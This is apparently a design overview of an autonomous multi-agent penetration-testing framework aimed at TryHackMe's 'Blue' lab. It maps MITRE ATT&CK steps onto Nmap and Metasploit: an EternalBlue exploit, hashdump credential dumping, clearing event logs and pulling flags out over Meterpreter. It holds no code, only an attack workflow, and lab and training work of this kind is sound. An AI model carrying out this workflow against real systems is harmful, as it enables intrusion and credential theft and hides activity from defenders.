Skip to content

Latest commit

 

History

History
235 lines (160 loc) · 7.16 KB

SYSTEM_OVERVIEW.md

File metadata and controls

235 lines (160 loc) · 7.16 KB

Pentest Agent System - Technical Overview

Introduction

The Pentest Agent System is an autonomous penetration testing framework built on the MITRE ATT&CK framework. It specifically targets the "Blue" challenge on TryHackMe, which involves exploiting the MS17-010 (EternalBlue) vulnerability to gain access to a Windows 7 system and collect flags.

This document provides a comprehensive technical overview of the system architecture, component interaction, and execution flow.

System Architecture

The system follows a multi-agent architecture with three specialized agents:

1. Orchestrator Agent

Purpose: Coordinate the overall operation flow, manage the other agents, and track progress.

Key Responsibilities:

  • Initialize the system with configuration parameters
  • Manage the planning and execution phases
  • Handle pause, resume, and abort operations
  • Track and report progress
  • Collect and format the final results

Implementation Details:

  • PentestOrchestratorAgent class in agents/orchestrator.ts
  • Maintains an OrchestratorState containing overall operation status
  • Provides event-based updates on operation progress
  • Creates the final operation report

2. Planner Agent

Purpose: Generate an attack plan based on the MITRE ATT&CK framework.

Key Responsibilities:

  • Create a structured attack plan with ordered steps
  • Map MITRE ATT&CK techniques to specific commands
  • Define dependencies between steps
  • Generate validation criteria for each step
  • Save and load plans from disk

Implementation Details:

  • MitrePlannerAgent class in agents/planner.ts
  • Uses attack techniques defined in config/attack_mapping.ts
  • Creates AttackPlan objects containing ordered PlanStep items
  • Each step maps directly to a MITRE ATT&CK technique

3. Executor Agent

Purpose: Execute the attack plan against the target system.

Key Responsibilities:

  • Run the plan steps in the correct order
  • Interact with external tools (Nmap, Metasploit)
  • Handle command execution and error recovery
  • Validate step results against expected outcomes
  • Generate execution artifacts

Implementation Details:

  • ExploitExecutorAgent class in agents/executor.ts
  • Uses tool-specific clients (nmap_client.ts, metasploit_client.ts)
  • Maintains a PlanExecutionState tracking progress
  • Emits events at key execution points
  • Collects and stores results and artifacts

Data Models

The system uses several data models to represent its state:

1. Attack Plans

Core Model: AttackPlan in models/plan.ts

Represents a complete attack plan with:

  • Target information
  • Objectives
  • Ordered steps
  • Dependencies
  • Metadata

2. MITRE ATT&CK Models

Core Model: MitreAttackTechnique in models/mitre.ts

Maps techniques from the MITRE ATT&CK framework with:

  • Technique ID (e.g., T1190)
  • Name and description
  • Tactic category
  • Implementation function
  • Requirements and provisions
  • Detection difficulty

3. Results Models

Core Model: OperationResult in models/result.ts

Stores the outcome of an operation including:

  • Scan results (open ports, vulnerabilities)
  • Exploit results (success, session info)
  • Post-exploitation results (commands, outputs)
  • Captured flags
  • Summary and statistics

Execution Flow

The system follows this execution flow:

  1. Initialization:

    • Parse command-line arguments
    • Load configuration
    • Set up logging
    • Initialize agents

  2. Planning Phase:

    • Orchestrator requests a plan from the Planner
    • Planner generates steps based on MITRE techniques
    • Plan is saved to disk for reference

  3. Execution Phase:

    • Orchestrator passes the plan to the Executor
    • Executor performs reconnaissance (Nmap scan)
    • Executor exploits the EternalBlue vulnerability
    • Executor performs post-exploitation actions
    • Results are collected at each step

  4. Result Collection:

    • Operation results are compiled
    • Flags are verified
    • Summary is generated
    • Results are saved to disk

MITRE ATT&CK Implementation

This system implements the following specific techniques from the MITRE ATT&CK framework:

Reconnaissance

  • T1046: Network Service Scanning
    • Implementation: Nmap scan to identify open ports and services
    • Target: Identifying port 445 (SMB) and detecting MS17-010 vulnerability

Initial Access

  • T1190: Exploit Public-Facing Application
    • Implementation: MS17-010 (EternalBlue) exploit via Metasploit
    • Target: SMB service on port 445

Execution

  • T1059: Command and Scripting Interpreter
    • Implementation: Command execution via Meterpreter session
    • Target: Windows command shell

Privilege Escalation

  • T1068: Exploitation for Privilege Escalation
    • Implementation: EternalBlue exploit typically provides SYSTEM privileges
    • Target: Obtaining highest level privileges on the system

Defense Evasion

  • T1070: Indicator Removal on Host
    • Implementation: Clearing event logs via Meterpreter
    • Target: Windows event logs

Credential Access

  • T1003: OS Credential Dumping
    • Implementation: Hashdump via Meterpreter
    • Target: SAM database with user credentials

Discovery

  • T1083: File and Directory Discovery
    • Implementation: File search via Meterpreter
    • Target: Locating flag files in the system

Collection

  • T1005: Data from Local System
    • Implementation: File retrieval via Meterpreter
    • Target: Flag files at known locations

Exfiltration

  • T1041: Exfiltration Over C2 Channel
    • Implementation: Data transfer via established Meterpreter session
    • Target: Flag content extraction

Tool Integration

The system integrates with these external tools:

Nmap

  • Used for reconnaissance
  • Implemented via NmapClient in utils/nmap_client.ts
  • Performs vulnerability scanning with scripts including smb-vuln-ms17-010

Metasploit Framework

  • Used for exploitation and post-exploitation
  • Implemented via MetasploitClient in utils/metasploit_client.ts
  • Executes the EternalBlue exploit module
  • Manages Meterpreter sessions for post-exploitation

Error Handling and Recovery

The system implements several error handling mechanisms:

  1. Step-level retries: Failed steps can be retried multiple times
  2. Fallback commands: Alternative commands can be executed if primary commands fail
  3. Non-critical step failures: System can continue execution even if non-critical steps fail
  4. Timeout handling: Commands have configurable timeouts
  5. Exception catching: All external tool interactions are wrapped in try/catch blocks
  6. Graceful abortion: Operation can be safely aborted at any point

Future Enhancements

Potential areas for improvement include:

  1. Expanded technique coverage: Implementing additional MITRE ATT&CK techniques
  2. Additional tool integration: Supporting more security tools beyond Nmap and Metasploit
  3. Machine learning components: Adding ML for adaptive attack planning
  4. Distributed architecture: Supporting multi-agent operations across multiple systems
  5. Enhanced visualization: Adding real-time visualization of the attack progress
  6. Network-based flag submission: Automatic submission of flags to validation systems